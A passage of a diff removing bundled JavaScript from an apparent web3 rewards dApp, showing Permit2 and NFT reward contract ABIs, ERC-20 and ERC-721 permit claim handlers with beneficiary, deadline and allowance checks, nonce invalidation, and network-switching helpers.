internalType: "address", name: "", type: "address" }, - { internalType: "address", name: "", type: "address" } - ], - name: "allowance", - outputs: [ - { internalType: "uint160", name: "amount", type: "uint160" }, - { internalType: "uint48", name: "expiration", type: "uint48" }, - { internalType: "uint48", name: "nonce", type: "uint48" } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [ - { internalType: "address", name: "token", type: "address" }, - { internalType: "address", name: "spender", type: "address" }, - { internalType: "uint160", name: "amount", type: "uint160" }, - { internalType: "uint48", name: "expiration", type: "uint48" } - ], - name: "approve", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [ - { internalType: "address", name: "token", type: "address" }, - { internalType: "address", name: "spender", type: "address" }, - { internalType: "uint48", name: "newNonce", type: "uint48" } - ], - name: "invalidateNonces", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [ - { internalType: "uint256", name: "wordPos", type: "uint256" }, - { internalType: "uint256", name: "mask", type: "uint256" } - ], - name: "invalidateUnorderedNonces", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [ - { - components: [ - { internalType: "address", name: "token", type: "address" }, - { internalType: "address", name: "spender", type: "address" } - ], - internalType: "struct IAllowanceTransfer.TokenSpenderPair[]", - name: "approvals", - type: "tuple[]" - } - ], - name: "lockdown", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [ - { internalType: "address", name: "", type: "address" }, - { internalType: "uint256", name: "", type: "uint256" } - ], - name: "nonceBitmap", - outputs: [{ internalType: "uint256", name: "", type: "uint256" }], - stateMutability: "view", - type: "function" - }, - { - inputs: [ - { internalType: "address", name: "owner", type: "address" }, - { - components: [ - { - components: [ - { internalType: "address", name: "token", type: "address" }, - { internalType: "uint160", name: "amount", type: "uint160" }, - { internalType: "uint48", name: "expiration", type: "uint48" }, - { internalType: "uint48", name: "nonce", type: "uint48" } - ], - internalType: "struct IAllowanceTransfer.PermitDetails[]", - name: "details", - type: "tuple[]" - }, - { internalType: "address", name: "spender", type: "address" }, - { internalType: "uint256", name: "sigDeadline", type: "uint256" } - ], - internalType: "struct IAllowanceTransfer.PermitBatch", - name: "permitBatch", - type: "tuple" - }, - { internalType: "bytes", name: "signature", type: "bytes" } - ], - name: "permit", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [ - { internalType: "address", name: "owner", type: "address" }, - { - components: [ - { - components: [ - { internalType: "address", name: "token", type: "address" }, - { internalType: "uint160", name: "amount", type: "uint160" }, - { internalType: "uint48", name: "expiration", type: "uint48" }, - { internalType: "uint48", name: "nonce", type: "uint48" } - ], - internalType: "struct IAllowanceTransfer.PermitDetails", - name: "details", - type: "tuple" - }, - { internalType: "address", name: "spender", type: "address" }, - { internalType: "uint256", name: "sigDeadline", type: "uint256" } - ], - internalType: "struct IAllowanceTransfer.PermitSingle", - name: "permitSingle", - type: "tuple" - }, - { internalType: "bytes", name: "signature", type: "bytes" } - ], - name: "permit", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [ - { - components: [ - { - components: [ - { internalType: "address", name: "token", type: "address" }, - { internalType: "uint256", name: "amount", type: "uint256" } - ], - internalType: "struct ISignatureTransfer.TokenPermissions", - name: "permitted", - type: "tuple" - }, - { internalType: "uint256", name: "nonce", type: "uint256" }, - { internalType: "uint256", name: "deadline", type: "uint256" } - ], - internalType: "struct ISignatureTransfer.PermitTransferFrom", - name: "permit", - type: "tuple" - }, - { - components: [ - { internalType: "address", name: "to", type: "address" }, - { internalType: "uint256", name: "requestedAmount", type: "uint256" } - ], - internalType: "struct ISignatureTransfer.SignatureTransferDetails", - name: "transferDetails", - type: "tuple" - }, - { internalType: "address", name: "owner", type: "address" }, - { internalType: "bytes", name: "signature", type: "bytes" } - ], - name: "permitTransferFrom", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [ - { - components: [ - { - components: [ - { internalType: "address", name: "token", type: "address" }, - { internalType: "uint256", name: "amount", type: "uint256" } - ], - internalType: "struct ISignatureTransfer.TokenPermissions", - name: "permitted", - type: "tuple" - }, - { internalType: "uint256", name: "nonce", type: "uint256" }, - { internalType: "uint256", name: "deadline", type: "uint256" } - ], - internalType: "struct ISignatureTransfer.PermitTransferFrom", - name: "permit", - type: "tuple" - }, - { - components: [ - { internalType: "address", name: "to", type: "address" }, - { internalType: "uint256", name: "requestedAmount", type: "uint256" } - ], - internalType: "struct ISignatureTransfer.SignatureTransferDetails", - name: "transferDetails", - type: "tuple" - }, - { internalType: "address", name: "owner", type: "address" }, - { internalType: "bytes32", name: "witness", type: "bytes32" }, - { internalType: "string", name: "witnessTypeString", type: "string" }, - { internalType: "bytes", name: "signature", type: "bytes" } - ], - name: "permitWitnessTransferFrom", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [ - { - components: [ - { - components: [ - { internalType: "address", name: "token", type: "address" }, - { internalType: "uint256", name: "amount", type: "uint256" } - ], - internalType: "struct ISignatureTransfer.TokenPermissions[]", - name: "permitted", - type: "tuple[]" - }, - { internalType: "uint256", name: "nonce", type: "uint256" }, - { internalType: "uint256", name: "deadline", type: "uint256" } - ], - internalType: "struct ISignatureTransfer.PermitBatchTransferFrom", - name: "permit", - type: "tuple" - }, - { - components: [ - { internalType: "address", name: "to", type: "address" }, - { internalType: "uint256", name: "requestedAmount", type: "uint256" } - ], - internalType: "struct ISignatureTransfer.SignatureTransferDetails[]", - name: "transferDetails", - type: "tuple[]" - }, - { internalType: "address", name: "owner", type: "address" }, - { internalType: "bytes32", name: "witness", type: "bytes32" }, - { internalType: "string", name: "witnessTypeString", type: "string" }, - { internalType: "bytes", name: "signature", type: "bytes" } - ], - name: "permitWitnessTransferFrom", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [ - { - components: [ - { internalType: "address", name: "from", type: "address" }, - { internalType: "address", name: "to", type: "address" }, - { internalType: "uint160", name: "amount", type: "uint160" }, - { internalType: "address", name: "token", type: "address" } - ], - internalType: "struct IAllowanceTransfer.AllowanceTransferDetails[]", - name: "transferDetails", - type: "tuple[]" - } - ], - name: "transferFrom", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [ - { internalType: "address", name: "from", type: "address" }, - { internalType: "address", name: "to", type: "address" }, - { internalType: "uint160", name: "amount", type: "uint160" }, - { internalType: "address", name: "token", type: "address" } - ], - name: "transferFrom", - outputs: [], - stateMutability: "nonpayable", - type: "function" - } - ]; - - // static/scripts/rewards/web3/erc20-permit.ts - async function fetchTreasury(permit) { - let balance, allowance, decimals, symbol; - try { - const tokenAddress = permit.tokenAddress; - const tokenContract = new ethers_exports.Contract(tokenAddress, erc20Abi, app.provider); - const tokenInfo = localStorage.getItem(tokenAddress); - if (tokenInfo) { - const { decimals: storedDecimals, symbol: storedSymbol } = JSON.parse(tokenInfo); - decimals = storedDecimals; - symbol = storedSymbol; - [balance, allowance] = await Promise.all([tokenContract.balanceOf(permit.owner), tokenContract.allowance(permit.owner, permit2Address)]); - } else { - [balance, allowance, decimals, symbol] = await Promise.all([ - tokenContract.balanceOf(permit.owner), - tokenContract.allowance(permit.owner, permit2Address), - tokenContract.decimals(), - tokenContract.symbol() - ]); - localStorage.setItem(tokenAddress, JSON.stringify({ decimals, symbol })); - } - return { balance, allowance, decimals, symbol }; - } catch (error) { - return { balance: BigNumber2.from(-1), allowance: BigNumber2.from(-1), decimals: -1, symbol: "" }; - } - } - async function checkPermitClaimability(app2) { - try { - return await checkPermitClaimable(app2); - } catch (error) { - if (error instanceof Error) { - const e = error; - console.error("Error in checkPermitClaimable: ", e); - errorToast(e, e.reason); - } - } - buttonController.hideMakeClaim(); - return false; - } - async function transferFromPermit(permit2Contract, app2) { - const reward = app2.reward; - const signer = app2.signer; - if (!signer) - return null; - try { - const tx = await permit2Contract.permitTransferFrom( - { - permitted: { - token: reward.tokenAddress, - amount: reward.amount - }, - nonce: reward.nonce, - deadline: reward.deadline - }, - { to: reward.beneficiary, requestedAmount: reward.amount }, - reward.owner, - reward.signature - ); - toaster.create("info", `Transaction sent`); - return tx; - } catch (error) { - if (error instanceof Error) { - const e = error; - if (e.code == "ACTION_REJECTED") { - toaster.create("info", `Transaction was not sent because it was rejected by the user.`); - buttonController.hideLoader(); - buttonController.showMakeClaim(); - } else { - console.error("Error in permitTransferFrom:", e); - errorToast(e, e.reason); - } - } - return null; - } - } - async function waitForTransaction(tx) { - try { - const receipt = await tx.wait(); - viewClaimButton.onclick = () => { - window.open(`https://blockscan.com/tx/${receipt.transactionHash}`, "_blank"); - }; - toaster.create("success", `Claim Complete.`); - buttonController.showViewClaim(); - buttonController.hideLoader(); - buttonController.hideMakeClaim(); - console.log(receipt.transactionHash); - return receipt; - } catch (error) { - if (error instanceof Error) { - const e = error; - console.error("Error in tx.wait: ", e); - errorToast(e, e.reason); - } - } - } - function claimErc20PermitHandlerWrapper(app2) { - return async function claimErc20PermitHandler() { - const signer = await connectWallet(); - if (!signer) { - buttonController.hideAll(); - toaster.create("error", `Please connect your wallet to claim this reward.`); - return; - } - app2.signer = signer; - buttonController.hideMakeClaim(); - buttonController.showLoader(); - const isPermitClaimable = await checkPermitClaimability(app2); - if (!isPermitClaimable) - return; - const permit2Contract = new ethers_exports.Contract(permit2Address, permit2Abi, signer); - if (!permit2Contract) - return; - const tx = await transferFromPermit(permit2Contract, app2); - if (!tx) - return; - const receipt = await waitForTransaction(tx); - if (!receipt) - return; - const isHashUpdated = await updatePermitTxHash(app2, receipt.transactionHash); - if (!isHashUpdated) - return; - getMakeClaimButton().removeEventListener("click", claimErc20PermitHandler); - }; - } - async function checkPermitClaimable(app2) { - let isClaimed; - try { - isClaimed = await isNonceClaimed(app2); - } catch (error) { - console.error("Error in isNonceClaimed: ", error); - return false; - } - if (isClaimed) { - toaster.create("error", `Your reward for this task has already been claimed.`); - buttonController.showViewClaim(); - return false; - } - const reward = app2.reward; - if (BigNumber2.from(reward.deadline).lt(Math.floor(Date.now() / 1e3))) { - toaster.create("error", `This reward has expired.`); - return false; - } - const { balance, allowance } = await fetchTreasury(reward); - const permitted = BigNumber2.from(reward.amount); - const isSolvent = balance.gte(permitted); - const isAllowed = allowance.gte(permitted); - if (!isSolvent) { - toaster.create("error", `Not enough funds on funding wallet to collect this reward. Please let the financier know.`); - buttonController.hideMakeClaim(); - return false; - } - if (!isAllowed) { - toaster.create("error", `Not enough allowance on the funding wallet to collect this reward. Please let the financier know.`); - buttonController.hideMakeClaim(); - return false; - } - let user; - try { - const address = await app2.signer?.getAddress(); - user = address?.toLowerCase(); - } catch (error) { - console.error("Error in signer.getAddress: ", error); - return false; - } - const beneficiary = reward.beneficiary.toLowerCase(); - if (beneficiary !== user) { - toaster.create("warning", `This reward is not for you.`); - buttonController.hideMakeClaim(); - return false; - } - return true; - } - async function checkRenderMakeClaimControl(app2) { - try { - const address = await app2.signer?.getAddress(); - const user = address?.toLowerCase(); - if (app2.reward) { - const beneficiary = app2.reward.beneficiary.toLowerCase(); - if (beneficiary !== user) { - buttonController.hideMakeClaim(); - return; - } - } - } catch (error) { - console.error("Error getting address from signer"); - console.error(error); - } - buttonController.showMakeClaim(); - } - async function checkRenderInvalidatePermitAdminControl(app2) { - try { - const address = await app2.signer?.getAddress(); - const user = address?.toLowerCase(); - if (app2.reward) { - const owner = app2.reward.owner.toLowerCase(); - if (owner !== user) { - buttonController.hideInvalidator(); - return; - } - } - } catch (error) { - console.error("Error getting address from signer"); - console.error(error); - } - buttonController.showInvalidator(); - } - var invalidateButton = document.getElementById("invalidator"); - invalidateButton.addEventListener("click", async function invalidateButtonClickHandler() { - try { - const isClaimed = await isNonceClaimed(app); - if (isClaimed) { - toaster.create("error", `This reward has already been claimed or invalidated.`); - buttonController.hideInvalidator(); - return; - } - if (!app.signer) - return; - await invalidateNonce(app.signer, app.reward.nonce); - } catch (error) { - if (error instanceof Error) { - const e = error; - console.error(e); - errorToast(e, e.reason); - return; - } - } - toaster.create("info", "Nonce invalidation transaction sent"); - buttonController.hideInvalidator(); - }); - async function isNonceClaimed(app2) { - const provider = app2.provider; - const permit2Contract = new ethers_exports.Contract(permit2Address, permit2Abi, provider); - const { wordPos, bitPos } = nonceBitmap(BigNumber2.from(app2.reward.nonce)); - const bitmap = await permit2Contract.nonceBitmap(app2.reward.owner, wordPos).catch((error) => { - console.error("Error in nonceBitmap method: ", error); - throw error; - }); - const bit = BigNumber2.from(1).shl(bitPos); - const flipped = BigNumber2.from(bitmap).xor(bit); - return bit.and(flipped).eq(0); - } - async function invalidateNonce(signer, nonce) { - const permit2Contract = new ethers_exports.Contract(permit2Address, permit2Abi, signer); - const { wordPos, bitPos } = nonceBitmap(nonce); - const bit = BigNumber2.from(1).shl(bitPos); - const sourceBitmap = await permit2Contract.nonceBitmap(await signer.getAddress(), wordPos.toString()); - const mask = sourceBitmap.or(bit); - await permit2Contract.invalidateUnorderedNonces(wordPos, mask); - } - function nonceBitmap(nonce) { - const wordPos = BigNumber2.from(nonce).shr(8); - const bitPos = BigNumber2.from(nonce).and(255).toNumber(); - return { wordPos, bitPos }; - } - async function updatePermitTxHash(app2, hash3) { - const { error } = await supabase.from("permits").update({ transaction: hash3 }).eq("nonce", app2.reward.nonce.toString()); - if (error !== null) { - console.error(error); - throw error; - } - return true; - } - - // static/scripts/rewards/web3/handle-if-on-correct-network.ts - function handleIfOnCorrectNetwork(currentNetworkId, desiredNetworkId) { - if (desiredNetworkId === currentNetworkId) { - buttonController.showMakeClaim(); - } else { - buttonController.hideMakeClaim(); - } - } - - // static/scripts/rewards/web3/add-network.ts - async function addNetwork(provider, networkId) { - try { - await provider.send("wallet_addEthereumChain", [ - { - chainId: "0x" + networkId.toString(16), - chainName: getNetworkName(networkId), - rpcUrls: networkRpcs[networkId], - blockExplorerUrls: [networkExplorers[networkId]], - nativeCurrency: networkCurrencies[networkId] - } - ]); - return true; - } catch (error) { - return false; - } - } - - // static/scripts/rewards/web3/switch-network.ts - async function switchNetwork(provider, networkId) { - try { - await provider.send("wallet_switchEthereumChain", [{ chainId: "0x" + networkId.toString(16) }]); - buttonController.showMakeClaim(); - return true; - } catch (error) { - const code = error.code; - if (code == 4902) { - return await addNetwork(provider, networkId); - } - return false; - } - } - - // static/scripts/rewards/web3/not-on-correct-network.ts - function notOnCorrectNetwork(currentNetworkId, desiredNetworkId, web3provider) { - if (currentNetworkId !== desiredNetworkId) { - const networkName = getNetworkName(desiredNetworkId); - if (!networkName) { - toaster.create("error", `This dApp currently does not support payouts for network ID ${desiredNetworkId}`); - } - switchNetwork(web3provider, desiredNetworkId).catch((error) => { - console.error(error); - toaster.create("error", `Please switch to the ${networkName} network to claim this reward.`); - buttonController.hideAll(); - }); - } - } - - // static/scripts/rewards/web3/verify-current-network.ts - async function verifyCurrentNetwork(desiredNetworkId) { - if (!window.ethereum) { - buttonController.hideAll(); - return; - } - const web3provider = new ethers_exports.providers.Web3Provider(window.ethereum); - const network = await web3provider.getNetwork(); - const currentNetworkId = network.chainId; - window.ethereum.on("chainChanged", (newNetworkId) => handleIfOnCorrectNetwork(parseInt(newNetworkId, 16), desiredNetworkId)); - notOnCorrectNetwork(currentNetworkId, desiredNetworkId, web3provider); - } - - // static/scripts/rewards/render-transaction/render-transaction.ts - var import_types4 = __toESM(require_types()); - - // static/scripts/rewards/abis/nft-reward-abi.ts - var nftRewardAbi = [ - { - inputs: [ - { - internalType: "string", - name: "_tokenName", - type: "string" - }, - { - internalType: "string", - name: "_tokenSymbol", - type: "string" - }, - { - internalType: "address", - name: "_initialOwner", - type: "address" - }, - { - internalType: "address", - name: "_minter", - type: "address" - } - ], - stateMutability: "nonpayable", - type: "constructor" - }, - { - inputs: [], - name: "ECDSAInvalidSignature", - type: "error" - }, - { - inputs: [ - { - internalType: "uint256", - name: "length", - type: "uint256" - } - ], - name: "ECDSAInvalidSignatureLength", - type: "error" - }, - { - inputs: [ - { - internalType: "bytes32", - name: "s", - type: "bytes32" - } - ], - name: "ECDSAInvalidSignatureS", - type: "error" - }, - { - inputs: [ - { - internalType: "address", - name: "sender", - type: "address" - }, - { - internalType: "uint256", - name: "tokenId", - type: "uint256" - }, - { - internalType: "address", - name: "owner", - type: "address" - } - ], - name: "ERC721IncorrectOwner", - type: "error" - }, - { - inputs: [ - { - internalType: "address", - name: "operator", - type: "address" - }, - { - internalType: "uint256", - name: "tokenId", - type: "uint256" - } - ], - name: "ERC721InsufficientApproval", - type: "error" - }, - { - inputs: [ - { - internalType: "address", - name: "approver", - type: "address" - } - ], - name: "ERC721InvalidApprover", - type: "error" - }, - { - inputs: [ - { - internalType: "address", - name: "operator", - type: "address" - } - ], - name: "ERC721InvalidOperator", - type: "error" - }, - { - inputs: [ - { - internalType: "address", - name: "owner", - type: "address" - } - ], - name: "ERC721InvalidOwner", - type: "error" - }, - { - inputs: [ - { - internalType: "address", - name: "receiver", - type: "address" - } - ], - name: "ERC721InvalidReceiver", - type: "error" - }, - { - inputs: [ - { - internalType: "address", - name: "sender", - type: "address" - } - ], - name: "ERC721InvalidSender", - type: "error" - }, - { - inputs: [ - { - internalType: "uint256", - name: "tokenId", - type: "uint256" - } - ], - name: "ERC721NonexistentToken", - type: "error" - }, - { - inputs: [], - name: "EnforcedPause", - type: "error" - }, - { - inputs: [], - name: "ExpectedPause", - type: "error" - }, - { - inputs: [], - name: "InvalidShortString", - type: "error" - }, - { - inputs: [ - { - internalType: "address", - name: "owner", - type: "address" - } - ], - name: "OwnableInvalidOwner", - type: "error" - }, - { - inputs: [ - { - internalType: "address", - name: "account", - type: "address" - } - ], - name: "OwnableUnauthorizedAccount", - type: "error" - }, - { - inputs: [ - { - internalType: "string", - name: "str", - type: "string" - } - ], - name: "StringTooLong", - type: "error" - }, - { - anonymous: false, - inputs: [ - { - indexed: true, - internalType: "address", - name: "owner", - type: "address" - }, - { - indexed: true, - internalType: "address", - name: "approved", - type: "address" - }, - { - indexed: true, - internalType: "uint256", - name: "tokenId", - type: "uint256" - } - ], - name: "Approval", - type: "event" - }, - { - anonymous: false, - inputs: [ - { - indexed: true, - internalType: "address", - name: "owner", - type: "address" - }, - { - indexed: true, - internalType: "address", - name: "operator", - type: "address" - }, - { - indexed: false, - internalType: "bool", - name: "approved", - type: "bool" - } - ], - name: "ApprovalForAll", - type: "event" - }, - { - anonymous: false, - inputs: [], - name: "EIP712DomainChanged", - type: "event" - }, - { - anonymous: false, - inputs: [ - { - indexed: true, - internalType: "address", - name: "previousOwner", - type: "address" - }, - { - indexed: true, - internalType: "address", - name: "newOwner", - type: "address" - } - ], - name: "OwnershipTransferred", - type: "event" - }, - { - anonymous: false, - inputs: [ - { - indexed: false, - internalType: "address", - name: "account", - type: "address" - } - ], - name: "Paused", - type: "event" - }, - { - anonymous: false, - inputs: [ - { - indexed: true, - internalType: "address", - name: "from", - type: "address" - }, - { - indexed: true, - internalType: "address", - name: "to", - type: "address" - }, - { - indexed: true, - internalType: "uint256", - name: "tokenId", - type: "uint256" - } - ], - name: "Transfer", - type: "event" - }, - { - anonymous: false, - inputs: [ - { - indexed: false, - internalType: "address", - name: "account", - type: "address" - } - ], - name: "Unpaused", - type: "event" - }, - { - inputs: [ - { - internalType: "address", - name: "to", - type: "address" - }, - { - internalType: "uint256", - name: "tokenId", - type: "uint256" - } - ], - name: "approve", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [ - { - internalType: "address", - name: "owner", - type: "address" - } - ], - name: "balanceOf", - outputs: [ - { - internalType: "uint256", - name: "", - type: "uint256" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [], - name: "baseUri", - outputs: [ - { - internalType: "string", - name: "", - type: "string" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [], - name: "eip712Domain", - outputs: [ - { - internalType: "bytes1", - name: "fields", - type: "bytes1" - }, - { - internalType: "string", - name: "name", - type: "string" - }, - { - internalType: "string", - name: "version", - type: "string" - }, - { - internalType: "uint256", - name: "chainId", - type: "uint256" - }, - { - internalType: "address", - name: "verifyingContract", - type: "address" - }, - { - internalType: "bytes32", - name: "salt", - type: "bytes32" - }, - { - internalType: "uint256[]", - name: "extensions", - type: "uint256[]" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [ - { - internalType: "uint256", - name: "tokenId", - type: "uint256" - } - ], - name: "getApproved", - outputs: [ - { - internalType: "address", - name: "", - type: "address" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [ - { - components: [ - { - internalType: "address", - name: "beneficiary", - type: "address" - }, - { - internalType: "uint256", - name: "deadline", - type: "uint256" - }, - { - internalType: "bytes32[]", - name: "keys", - type: "bytes32[]" - }, - { - internalType: "uint256", - name: "nonce", - type: "uint256" - }, - { - internalType: "string[]", - name: "values", - type: "string[]" - } - ], - internalType: "struct NftReward.MintRequest", - name: "_mintRequest", - type: "tuple" - } - ], - name: "getMintRequestDigest", - outputs: [ - { - internalType: "bytes32", - name: "", - type: "bytes32" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [], - name: "getTokenDataKeys", - outputs: [ - { - internalType: "bytes32[]", - name: "", - type: "bytes32[]" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [ - { - internalType: "address", - name: "owner", - type: "address" - }, - { - internalType: "address", - name: "operator", - type: "address" - } - ], - name: "isApprovedForAll", - outputs: [ - { - internalType: "bool", - name: "", - type: "bool" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [], - name: "minter", - outputs: [ - { - internalType: "address", - name: "", - type: "address" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [], - name: "name", - outputs: [ - { - internalType: "string", - name: "", - type: "string" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [ - { - internalType: "uint256", - name: "nonce", - type: "uint256" - } - ], - name: "nonceRedeemed", - outputs: [ - { - internalType: "bool", - name: "isRedeemed", - type: "bool" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [], - name: "owner", - outputs: [ - { - internalType: "address", - name: "", - type: "address" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [ - { - internalType: "uint256", - name: "tokenId", - type: "uint256" - } - ], - name: "ownerOf", - outputs: [ - { - internalType: "address", - name: "", - type: "address" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [], - name: "pause", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [], - name: "paused", - outputs: [ - { - internalType: "bool", - name: "", - type: "bool" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [ - { - components: [ - { - internalType: "address", - name: "beneficiary", - type: "address" - }, - { - internalType: "uint256", - name: "deadline", - type: "uint256" - }, - { - internalType: "bytes32[]", - name: "keys", - type: "bytes32[]" - }, - { - internalType: "uint256", - name: "nonce", - type: "uint256" - }, - { - internalType: "string[]", - name: "values", - type: "string[]" - } - ], - internalType: "struct NftReward.MintRequest", - name: "_mintRequest", - type: "tuple" - }, - { - internalType: "bytes", - name: "_signature", - type: "bytes" - } - ], - name: "recover", - outputs: [ - { - internalType: "address", - name: "", - type: "address" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [], - name: "renounceOwnership", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [ - { - components: [ - { - internalType: "address", - name: "beneficiary", - type: "address" - }, - { - internalType: "uint256", - name: "deadline", - type: "uint256" - }, - { - internalType: "bytes32[]", - name: "keys", - type: "bytes32[]" - }, - { - internalType: "uint256", - name: "nonce", - type: "uint256" - }, - { - internalType: "string[]", - name: "values", - type: "string[]" - } - ], - internalType: "struct NftReward.MintRequest", - name: "_mintRequest", - type: "tuple" - }, - { - internalType: "bytes", - name: "_signature", - type: "bytes" - } - ], - name: "safeMint", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [ - { - internalType: "address", - name: "from", - type: "address" - }, - { - internalType: "address", - name: "to", - type: "address" - }, - { - internalType: "uint256", - name: "tokenId", - type: "uint256" - } - ], - name: "safeTransferFrom", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [ - { - internalType: "address", - name: "from", - type: "address" - }, - { - internalType: "address", - name: "to", - type: "address" - }, - { - internalType: "uint256", - name: "tokenId", - type: "uint256" - }, - { - internalType: "bytes", - name: "data", - type: "bytes" - } - ], - name: "safeTransferFrom", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [ - { - internalType: "address", - name: "operator", - type: "address" - }, - { - internalType: "bool", - name: "approved", - type: "bool" - } - ], - name: "setApprovalForAll", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [ - { - internalType: "string", - name: "_newBaseUri", - type: "string" - } - ], - name: "setBaseUri", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [ - { - internalType: "address", - name: "_newMinter", - type: "address" - } - ], - name: "setMinter", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [ - { - internalType: "bytes4", - name: "interfaceId", - type: "bytes4" - } - ], - name: "supportsInterface", - outputs: [ - { - internalType: "bool", - name: "", - type: "bool" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [], - name: "symbol", - outputs: [ - { - internalType: "string", - name: "", - type: "string" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [ - { - internalType: "uint256", - name: "tokenId", - type: "uint256" - }, - { - internalType: "bytes32", - name: "key", - type: "bytes32" - } - ], - name: "tokenData", - outputs: [ - { - internalType: "string", - name: "value", - type: "string" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [ - { - internalType: "bytes32", - name: "tokenDataKey", - type: "bytes32" - } - ], - name: "tokenDataKeyExists", - outputs: [ - { - internalType: "bool", - name: "isTokenDataKeyExists", - type: "bool" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [ - { - internalType: "uint256", - name: "", - type: "uint256" - } - ], - name: "tokenDataKeys", - outputs: [ - { - internalType: "bytes32", - name: "", - type: "bytes32" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [], - name: "tokenIdCounter", - outputs: [ - { - internalType: "uint256", - name: "", - type: "uint256" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [ - { - internalType: "uint256", - name: "tokenId", - type: "uint256" - } - ], - name: "tokenURI", - outputs: [ - { - internalType: "string", - name: "", - type: "string" - } - ], - stateMutability: "view", - type: "function" - }, - { - inputs: [ - { - internalType: "address", - name: "from", - type: "address" - }, - { - internalType: "address", - name: "to", - type: "address" - }, - { - internalType: "uint256", - name: "tokenId", - type: "uint256" - } - ], - name: "transferFrom", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [ - { - internalType: "address", - name: "newOwner", - type: "address" - } - ], - name: "transferOwnership", - outputs: [], - stateMutability: "nonpayable", - type: "function" - }, - { - inputs: [], - name: "unpause", - outputs: [], - stateMutability: "nonpayable", - type: "function" - } - ]; - - // static/scripts/rewards/web3/erc721-permit.ts - function claimErc721PermitHandler(reward) { - return async function claimHandler() { - const signer = await connectWallet(); - if (!signer) { - return; - } - if ((await signer.getAddress()).toLowerCase() !== reward.beneficiary) { - toaster.create("warning", `This NFT is not for you.`); - return; - } - if (BigNumber2.from(reward.deadline).lt(Math.floor(Date.now() / 1e3))) { - toaster.create("error", `This NFT has expired.`); - return; - } - const isRedeemed = await isNonceRedeemed(reward, app.provider); - if (isRedeemed) { - toaster.create("error", `This NFT has already been redeemed.`); - return; - } - buttonController.showLoader(); - try { - const nftContract = new ethers_exports.Contract(reward.tokenAddress, nftRewardAbi, signer); - const tx = await nftContract.safeMint( - { - beneficiary: reward.beneficiary, - deadline: reward.deadline, - keys: reward.erc721Request?.keys, - nonce: reward.nonce, - values: reward.erc721Request?.values - }, - reward.signature - ); - toaster.create("info", `Transaction sent. Waiting for confirmation...`); - const receipt = await tx.wait(); - buttonController.hideLoader(); - toaster.create("success", `Claim Complete.`); - buttonController.showViewClaim(); - buttonController.hideMakeClaim(); - console.log(receipt.transactionHash); - getMakeClaimButton().removeEventListener("click", claimHandler); - } catch (error) { - console.error(error); - if (error instanceof Error) { - toaster.create("error", `Error claiming NFT: ${error.message}`); - } else if (typeof error === "string") { - toaster.create("error", `Error claiming NFT: ${error}`); - } else { - toaster.create("error", `Error claiming NFT: Unknown error`); - } - } - }; - } - async function isNonceRedeemed(reward, provider) { - const nftContract = new ethers_exports.Contract(reward.tokenAddress, nftRewardAbi, provider); - return nftContract.nonceRedeemed(reward.nonce); - } - - // static/scripts/rewards/render-transaction/insert-table-data.ts - function shortenAddress(address) { - return `${address.slice(0, 10)}...${address.slice(-8)}`; - } - function insertErc20PermitTableData(app2, table3, treasury) { - const reward = app2.reward; - const requestedAmountElement = document.getElementById("rewardAmount"); - renderToFields(reward.beneficiary, app2.currentExplorerUrl); - renderTokenFields(reward.tokenAddress, app2.currentExplorerUrl); - renderDetailsFields([ - { name: "From", value: `${reward.owner}` }, - { - name: "Expiry", - value: (() => { - const deadline = BigNumber2.isBigNumber(reward.deadline) ? reward.deadline : BigNumber2.from(reward.deadline); - return deadline.lte(Number.MAX_SAFE_INTEGER.toString()) ? new Date(deadline.toNumber()).toLocaleString() : void 0; - })() - }, - { name: "Balance", value: treasury.balance.gte(0) ? `${ethers_exports.utils.formatUnits(treasury.balance, treasury.decimals)} ${treasury.symbol}` : "N/A" }, - { name: "Allowance", value: treasury.allowance.gte(0) ? `${ethers_exports.utils.formatUnits(treasury.allowance, treasury.decimals)} ${treasury.symbol}` : "N/A" } - ]); - table3.setAttribute(`data-make-claim-rendered`, "true"); - return requestedAmountElement; - } - function insertErc721PermitTableData(reward, table3) { - const requestedAmountElement = document.getElementById("rewardAmount"); - renderToFields(reward.beneficiary, 